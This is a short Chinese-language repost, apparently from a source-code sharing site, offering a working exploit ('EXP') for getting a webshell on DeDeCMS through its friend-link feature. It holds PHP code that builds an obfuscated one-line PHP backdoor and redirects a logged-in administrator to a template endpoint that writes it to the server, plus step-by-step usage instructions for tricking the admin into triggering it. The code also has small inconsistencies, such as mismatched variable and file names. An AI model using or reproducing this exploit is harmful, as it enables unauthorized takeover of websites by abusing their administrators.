本文由 千趣源码 – qianqu 发布，转载请注明出处，如有问题请联系我们！DeDeCMS友链Getshell
【摘5201;】漏洞详情：http://0day5.com/archives/4209/EXP:<?PHP//print_r($_server);$referer=$_SERVER['HTTP_REFERE...
漏洞详情：
http://0day5.com/archives/4209/
EXP:
<?php//print_r($_SERVER);$referer = $_SERVER['HTTP_REFERER'];$dede_login = str_replace("friendlink_main.php","",$referer);$muma = '<'.'?'.'a'.'s'.'s'.'e'.'r'.'t'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'a'.'\''.']'.')'.';'.'?'.'>';$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';$URL = $dede_login.$exp;//echo $url;header("location: ".$url);// send mail coderexit();?>使用方法：
1.保存上方exp，上传至服务器；
2.访问目标网1449;:http://www.test.com/Plus/flink.php
链接填写部署的exp的URL；
3.等待管理员触发，得到shell地址http://www.test.com/include/taglib/dy.lib.php
